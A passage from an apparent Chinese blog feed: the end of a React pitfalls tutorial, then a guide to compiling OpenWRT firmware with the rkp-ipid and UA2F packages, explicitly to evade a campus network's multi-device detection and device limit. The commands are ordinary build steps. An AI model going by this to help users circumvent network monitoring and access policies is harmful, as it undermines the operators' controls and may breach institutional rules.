</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">React.Fragment</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">label</span> <span class="na">htmlFor</span><span class="o">=</span><span class="p">{</span><span class="nx">id</span><span class="p">}&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span><span class="nx">label</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;/</span><span class="nt">label</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">input</span>
</span></span><span class="line"><span class="cl">        <span class="na">id</span><span class="o">=</span><span class="p">{</span><span class="nx">id</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span><span class="na">...delegated</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">React.Fragment</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>React.Fragment</code> 是一个纯粹为了解决这个问题而存在的 React 组件，它允许在不影响 DOM 的情况下返回多个顶级元素，这意味着不需要再使用 <code>&lt;div&gt;</code> 来污染我们的文档。</p>
<p><code>&lt;React.Fragment&gt;</code> 还可以简写为 <code>&lt;&gt;</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">LabeledInput</span><span class="p">({</span> <span class="nx">id</span><span class="p">,</span> <span class="nx">label</span><span class="p">,</span> <span class="p">...</span><span class="nx">delegated</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">label</span> <span class="na">htmlFor</span><span class="o">=</span><span class="p">{</span><span class="nx">id</span><span class="p">}&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span><span class="nx">label</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;/</span><span class="nt">label</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">input</span>
</span></span><span class="line"><span class="cl">        <span class="na">id</span><span class="o">=</span><span class="p">{</span><span class="nx">id</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span><span class="na">...delegated</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>我喜欢这里的象征意义：React 团队使用一个空的 HTML 标签 <code>&lt;&gt;</code> 来表明 Fragment 不会产生任何真正的 HTML 标签。</p>
<h1 id="flipping-from-uncontrolled-to-controlled">Flipping from uncontrolled to controlled</h1>
<p>下面的代码是一个典型的将一个输入绑定到一个 React 状态的代码：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">React</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">App</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">email</span><span class="p">,</span> <span class="nx">setEmail</span><span class="p">]</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">useState</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">form</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">label</span> <span class="na">htmlFor</span><span class="o">=</span><span class="s">&#34;email-input&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nx">Email</span> <span class="nx">address</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;/</span><span class="nt">label</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">input</span>
</span></span><span class="line"><span class="cl">        <span class="na">id</span><span class="o">=</span><span class="s">&#34;email-input&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">type</span><span class="o">=</span><span class="s">&#34;email&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">value</span><span class="o">=</span><span class="p">{</span><span class="nx">email</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="na">onChange</span><span class="o">=</span><span class="p">{</span><span class="nx">event</span> <span class="p">=&gt;</span> <span class="nx">setEmail</span><span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">value</span><span class="p">)}</span>
</span></span><span class="line"><span class="cl">      <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">form</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="nx">App</span><span class="p">;</span>
</span></span></code></pre></div><p>当你在这个 input 中输入内容的时候，你会收到以下控制台警告：</p>
<pre tabindex="0"><code>Warning: A component is changing an uncontrolled input to be controlled.
</code></pre><p>以下是解决方法：将 <code>email</code> 状态初始化为空字符串。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">[</span><span class="nx">email</span><span class="p">,</span> <span class="nx">setEmail</span><span class="p">]</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">useState</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span></code></pre></div><p>当我们设置 <code>value</code> 属性时，我们告诉 React 我们希望这是一个受控输入。但是，只有在我们传递一个已定义的值时才有效！通过将 <code>email</code> 初始化为空字符串，我们确保 <code>value</code> 永远不会被设置为 <code>undefined</code>。</p>
<h1 id="missing-style-brackets">Missing style brackets</h1>
<p>JSX 和 HTML 非常类似，但两者之间也存在一些令人惊讶的差异，让人措手不及。大多数差异在文档中都有详细记录，同时，console 中的警告信息也都很详细。例如，如果不小心写了 <code>class</code> 而不是 <code>className</code>，React 会准确告诉你问题出在哪里。</p>
<p>但是有一个差别容易使人误会：<code>style</code> 属性。</p>
<p>在 HTML 中，<code>style</code> 是一个字符串：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">button</span> <span class="na">style</span><span class="o">=</span><span class="s">&#34;color: red; font-size: 1.25rem&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  Hello World
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>然而，在 JSX 中，<code>style</code> 属性需要是一个对象，并使用驼峰式的属性名称。</p>
<p>下面将展示一段有问题的代码，你能发现错误在哪吗：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">React</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">App</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">button</span>
</span></span><span class="line"><span class="cl">      <span class="na">style</span><span class="o">=</span><span class="p">{</span> <span class="nx">color</span><span class="o">:</span> <span class="s1">&#39;red&#39;</span><span class="p">,</span> <span class="nx">fontSize</span><span class="o">:</span> <span class="s1">&#39;1.25rem&#39;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="nx">Hello</span> <span class="nx">World</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="nx">App</span><span class="p">;</span>
</span></span></code></pre></div><p>错误提示：</p>
<pre tabindex="0"><code>/App.js: Unexpected token, expected &#34;}&#34; (6:19)
  4 |   return (
  5 |     &lt;button
&gt; 6 |       style={ color: &#39;red&#39;, fontSize: &#39;1.25rem&#39; }
    |                    ^
  7 |     &gt;
  8 |       Hello World
  9 |     &lt;/button&gt;
</code></pre><p>问题是，我们需要使用两个花括号：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">button</span>
</span></span><span class="line"><span class="cl">  <span class="err">//</span> <span class="na">使用</span> <span class="err">&#34;</span><span class="p">{{</span><span class="err">&#34;</span> <span class="na">而不是</span> <span class="err">&#34;</span><span class="p">{</span><span class="err">&#34;:</span>
</span></span><span class="line"><span class="cl">  <span class="na">style</span><span class="o">=</span><span class="p">{{</span> <span class="nx">color</span><span class="o">:</span> <span class="s1">&#39;red&#39;</span><span class="p">,</span> <span class="nx">fontSize</span><span class="o">:</span> <span class="s1">&#39;1.25rem&#39;</span> <span class="p">}}</span>
</span></span><span class="line"><span class="cl"><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">Hello</span> <span class="nx">World</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>在 JSX 中，我们使用花括号来创建表达式槽（expression slot），我们可以在这个插槽中放置任何有效的 JS 表达式，例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">button</span> <span class="na">className</span><span class="o">=</span><span class="p">{</span><span class="nx">isPrimary</span> <span class="o">?</span> <span class="s1">&#39;btn primary&#39;</span> <span class="o">:</span> <span class="s1">&#39;btn&#39;</span><span class="p">}&gt;</span>
</span></span></code></pre></div><p>任何放在 <code>{}</code> 之间的内容都将作为 <code>JavaScript</code> 来运行，最终取运行的结果作为值，因此上面代码的 <code>className</code> 将会是 <code>btn primary</code> 或 <code>btn</code>。</p>
<p>因此，对于 <code>style</code> 属性，我们首先需要创建一个表达式槽，然后将一个 JavaScript 对象传入这个槽中。</p>
<p>把对象作为一个变量可能会更清晰：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="c1">// 1. 创建一个 style 对象:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">btnStyles</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">color</span><span class="o">:</span> <span class="s1">&#39;red&#39;</span><span class="p">,</span> <span class="nx">fontSize</span><span class="o">:</span> <span class="s1">&#39;1.25rem&#39;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 2. 将对象传入 style 属性:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">&lt;</span><span class="nt">button</span> <span class="na">style</span><span class="o">=</span><span class="p">{</span><span class="nx">btnStyles</span><span class="p">}&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">Hello</span> <span class="nx">World</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 或者，我们可以在一行中写完:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">&lt;</span><span class="nt">button</span> <span class="na">style</span><span class="o">=</span><span class="p">{{</span> <span class="nx">color</span><span class="o">:</span> <span class="s1">&#39;red&#39;</span><span class="p">,</span> <span class="nx">fontSize</span><span class="o">:</span> <span class="s1">&#39;1.25rem&#39;</span> <span class="p">}}&gt;</span>
</span></span></code></pre></div><p>其中，最外层的花括号创建了一个表达式槽，内层的花括号创建了一个 JS 对象来描述样式。</p>
<h1 id="async-effect-function">Async effect function</h1>
<p>假设有一个函数可以在 mount 的时候从 API 中获取用户数据，我们使用 <code>useEffect</code>，并使用 <code>await</code>，这是第一次尝试：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">React</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">API</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;./constants&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">UserProfile</span><span class="p">({</span> <span class="nx">userId</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">user</span><span class="p">,</span> <span class="nx">setUser</span><span class="p">]</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">useState</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="nx">React</span><span class="p">.</span><span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="sb">`</span><span class="si">${</span><span class="nx">API</span><span class="si">}</span><span class="sb">/get-profile?id=</span><span class="si">${</span><span class="nx">userId</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">url</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">json</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="nx">setUser</span><span class="p">(</span><span class="nx">json</span><span class="p">.</span><span class="nx">user</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">userId</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">user</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="s1">&#39;Loading…&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="nx">section</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">dl</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="o">&lt;</span><span class="nx">dt</span><span class="o">&gt;</span><span class="nx">Name</span><span class="o">&lt;</span><span class="err">/dt&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="o">&lt;</span><span class="nx">dd</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">user</span><span class="p">.</span><span class="nx">name</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/dd&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="o">&lt;</span><span class="nx">dt</span><span class="o">&gt;</span><span class="nx">Email</span><span class="o">&lt;</span><span class="err">/dt&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="o">&lt;</span><span class="nx">dd</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">user</span><span class="p">.</span><span class="nx">email</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/dd&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="err">/dl&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="err">/section&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="nx">UserProfile</span><span class="p">;</span>
</span></span></code></pre></div><p>这段代码将得到以下报错：</p>
<pre tabindex="0"><code>/UserProfile.js: &#39;await&#39; is only allowed within async functions (9:16)
   7 |   React.useEffect(() =&gt; {
   8 |     const url = `${API}/get-profile?id=${userId}`;
&gt;  9 |     const res = await fetch(url);
     |                 ^
  10 |     const json = await res.json();
  11 |    
  12 |     setUser(json.user);
</code></pre><p>那给函数加上 <code>async</code> 关键词呢：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">React</span><span class="p">.</span><span class="nx">useEffect</span><span class="p">(</span><span class="kr">async</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="sb">`</span><span class="si">${</span><span class="nx">API</span><span class="si">}</span><span class="sb">/get-profile?id=</span><span class="si">${</span><span class="nx">userId</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">url</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">json</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="nx">setUser</span><span class="p">(</span><span class="nx">json</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="p">[</span><span class="nx">userId</span><span class="p">]);</span>
</span></span></code></pre></div><p>还是不行：</p>
<pre tabindex="0"><code>destroy is not a function
</code></pre><p>解决方法：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">React</span><span class="p">.</span><span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// 创建一个 async 函数...
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">async</span> <span class="kd">function</span> <span class="nx">runEffect</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="sb">`</span><span class="si">${</span><span class="nx">API</span><span class="si">}</span><span class="sb">/get-profile?id=</span><span class="si">${</span><span class="nx">userId</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">url</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">json</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setUser</span><span class="p">(</span><span class="nx">json</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// ...然后调用它:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">runEffect</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="p">[</span><span class="nx">userId</span><span class="p">]);</span>
</span></span></code></pre></div><p>要理解为什么需要这么写，需要考虑 <code>async</code> 关键词的实际作用，对于以下函数：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">greeting</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="s2">&#34;Hello world!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>乍一看可能会以为它返回字符串 <code>&quot;Hello world!&quot;</code>，但实际上，这个函数返回一个 promise。这就是问题所在，因为 <code>useEffect</code> 并不希望我们返回一个 promise，它希望我们要么什么都不返回，要么就返回一个清理函数。</p>
<h1 id="developing-an-intuition">Developing an intuition</h1>
<p>最后，作者最近推出了一个 React 的课程，课程页面做得非常炫酷：<a href="https://www.joyofreact.com/">https://www.joyofreact.com/</a></p>
<p>这个博主的文章质量一直很高，课程应该也不差，感兴趣的可以看看！</p>
]]></content:encoded>
    </item>
    <item>
      <title>自己动手编译 OpenWRT</title>
      <link>https://lgiki.net/post/compile-openwrt/</link>
      <pubDate>Fri, 10 Mar 2023 23:13:37 +0800</pubDate>
      <guid>https://lgiki.net/post/compile-openwrt/</guid>
      <description>自己动手编译 OpenWRT</description>
      <content:encoded><![CDATA[<h1 id="intro">Intro</h1>
<p>学校最近升级了校园网设备，终于从年久失修的龟速 100Mbps 升级到了 1Gbps，尽管还是使用锐捷的 ePortal 网页认证，还能通过简单的 Shell 脚本在路由器上自动认证，但新设备却限制了每个用户最多只能同时有两台设备在线，使用路由器会被检测出使用多设备，并被加入黑名单，被断网。</p>
<p>都 2023 年了，随便手机、电脑再加个平板就仨设备了，更不用说可能还有 Kindle、Switch 等其他设备，只能同时两台设备在线怎么可能满足学生正常使用校园网的需求。更何况，计算机专业的学生可能还会使用虚拟机等软件，但虚拟机类的软件也可能被检测为是多设备同时在线，所以你让计算机专业的学生拿啥学习呢，<del>内存条含嘴里脑补画面吗？</del></p>
<p>限制校园网的同时在线设备数量无非就两个出发点：（1）如果不限制，一个宿舍只需要开通一个宽带账号，所有人都可以上网了，运营商的收入就减少了；（2）如果学生出现一些非法的上网行为，可以快速准确地定位到具体学生。但我觉得这都不是学校限制学生只能使用两个设备的理由，哪怕提升到 5 个设备我觉得也合理一些。</p>
<p><strong>对于限制校园网设备数量的学校，我只能说 Shame on you！</strong></p>
<p><strong>对于限制校园网设备数量的学校，我只能说 Shame on you！</strong></p>
<p><strong>对于限制校园网设备数量的学校，我只能说 Shame on you！</strong></p>
<p>那就…只能另辟蹊径，想其他办法了。</p>
<p>还好，限制同时在线设备数量这件事早已有其他学校实施过了，也已经有人提出了一些对策。例如，在 <a href="https://blog.sunbk201.site/posts/crack-campus-network">https://blog.sunbk201.site/posts/crack-campus-network</a> 这篇博客里就详细列举了校园网检测在线设备可能采用的手段以及相应的应对措施，我们只需要照着做就行了。</p>
<p>其实主要就是为 OpenWRT 编译 <a href="https://github.com/CHN-beta/rkp-ipid">rkp-ipid</a> 和 <a href="https://github.com/Zxilly/UA2F">UA2F</a> 这两个包，而这两个包需要在编译内核的时候开启一些选项，所以需要重新编译 OpenWRT 固件，也因此写下这篇文章记录一下编译 OpenWRT 的过程。</p>
<h1 id="安装编译环境">安装编译环境</h1>
<p>要编译 Linux 当然是使用 Linux 啦！</p>
<p>如果是 Debian 系的发行版（例如 Ubuntu），可以使用以下指令来安装编译所需的依赖：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo apt update -y
</span></span><span class="line"><span class="cl">sudo apt full-upgrade -y
</span></span><span class="line"><span class="cl">sudo apt install -y ack antlr3 aria2 asciidoc autoconf automake autopoint binutils bison build-essential <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>bzip2 ccache cmake cpio curl device-tree-compiler fastjar flex gawk gettext gcc-multilib g++-multilib <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>git gperf haveged help2man intltool libc6-dev-i386 libelf-dev libglib2.0-dev libgmp3-dev libltdl-dev <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>libmpc-dev libmpfr-dev libncurses5-dev libncursesw5-dev libreadline-dev libssl-dev libtool lrzsz <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>mkisofs msmtp nano ninja-build p7zip p7zip-full patch pkgconf python2.7 python3 python3-pip libpython3-dev qemu-utils <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>rsync scons squashfs-tools subversion swig texinfo uglifyjs upx-ucl unzip vim wget xmlto xxd zlib1g-dev
</span></span></code></pre></div><p>对于 Arch 系的发行版，直接安装 AUR 中的 openwrt-devel 即可：<a href="https://aur.archlinux.org/packages/openwrt-devel">https://aur.archlinux.org/packages/openwrt-devel</a></p>
<h1 id="获取-openwrt-源码">获取 OpenWRT 源码</h1>
<p>如果你的设备是 OpenWRT 官方支持的设备，并且你想编译 OpenWRT 官方源码，则直接：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git clone https://github.com/openwrt/openwrt.git
</span></span></code></pre></div><p>即可。</p>
<p>但现在有一些国产的路由器 OpenWRT 官方并不支持，可以看看有没有第三方的 OpenWRT 源码支持了你手上的路由器，下载相应的源代码。</p>
<p>可以通过 <code>cat /etc/openwrt_release</code> 命令来查看设备的 Arch、Target 信息：</p>
<pre tabindex="0"><code>root@QWRT:~# cat /etc/openwrt_release
DISTRIB_ID=&#39;OpenWrt&#39;
DISTRIB_RELEASE=&#39;19.07-SNAPSHOT&#39;
DISTRIB_TARGET=&#39;ipq60xx/generic&#39;
DISTRIB_ARCH=&#39;aarch64_cortex-a53+crypto&#39;
DISTRIB_TAINTS=&#39;no-all busybox override&#39;
DISTRIB_REVISION=&#39;R23.1.20&#39;
DISTRIB_DESCRIPTION=&#39;QWRT &#39;
</code></pre><p>获取了 OpenWRT 源代码之后需要更新 Feeds：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">cd</span> openwrt
</span></span><span class="line"><span class="cl">./scripts/feeds update -a
</span></span><span class="line"><span class="cl">./scripts/feeds install -a
</span></span></code></pre></div><h1 id="添加想要编译的第三方包-可选">添加想要编译的第三方包 (可选)</h1>
<p>因为我需要编译 rkp-ipid 和 UA2F，因此我还需要将这些包的源码下载下来：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git clone https://github.com/CHN-beta/rkp-ipid package/rkp-ipid
</span></span><span class="line"><span class="cl">git clone https://github.com/Zxilly/UA2F package/UA2F
</span></span></code></pre></div><h1 id="配置编译目标">配置编译目标</h1>
<p>一切准备就绪，接下来就是设定编译目标了，执行以下命令：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">make menuconfig
</span></span></code></pre></div><p>然后会出现一个命令行 UI，首先需要重点设定好：<code>Target System</code>, <code>Subtarget</code>, <code>Target Profile</code>，将这几个项目设定为你的路由器。
然后就可以选择你需要编译的包啦，使用空格可以选择要编译的包，设定为 <code>&lt;*&gt;</code> 的包将会内置到固件里，刷好就能直接用，设定为 <code>&lt;M&gt;</code> 的包将会编译成 ipk 文件，需要上传到路由器，然后使用 <code>opkg install package_name.ipk</code> 进行安装。</p>
<p>设定好了之后，将配置文件保存为 <code>.config</code> 即可，如果有一些包需要对内核做一些自定义，也可以直接使用文本编辑器编辑保存下来的 <code>.config</code> 文件，例如 UA2F 就需要添加 <code>CONFIG_NETFILTER_NETLINK_GLUE_CT=y</code>。</p>
<h1 id="开始编译">开始编译</h1>
<p>一切准备完毕，接下来开始编译！</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">make download -j8
</span></span><span class="line"><span class="cl">make <span class="nv">V</span><span class="o">=</span>s -j8
</span></span></code></pre></div><p>其中，<code>V=s</code> 表示输出 stdout 和 stderr，方便在编译失败的时候根据输出信息确定是哪里的错误，<code>-jn</code> 的 <code>n</code> 表示使用 n 个线程同时编译，对于核心数较多的机器可以将该数值设置得大一些，加快编译过程。</p>
<p>编译完成之后，在 <code>./bin/targets</code> 下就可以找到固件以及相应的 ipk 包了。</p>
<h1 id="ua2f-的注意事项">UA2F 的注意事项</h1>
<p>要使 UA2F 正常工作需要关闭 &ldquo;网络&rdquo;——&ldquo;Turbo ACC 网络加速设置&rdquo; 下的所有选项，否则 UA2F 无法正常工作，具体表现为：重启路由器防火墙之后，第一次 HTTP 请求的 User-Agent 成功修改，但后续 HTTP 请求的 User-Agent 没有被修改。</p>
<h1 id="references">References</h1>
<ul>
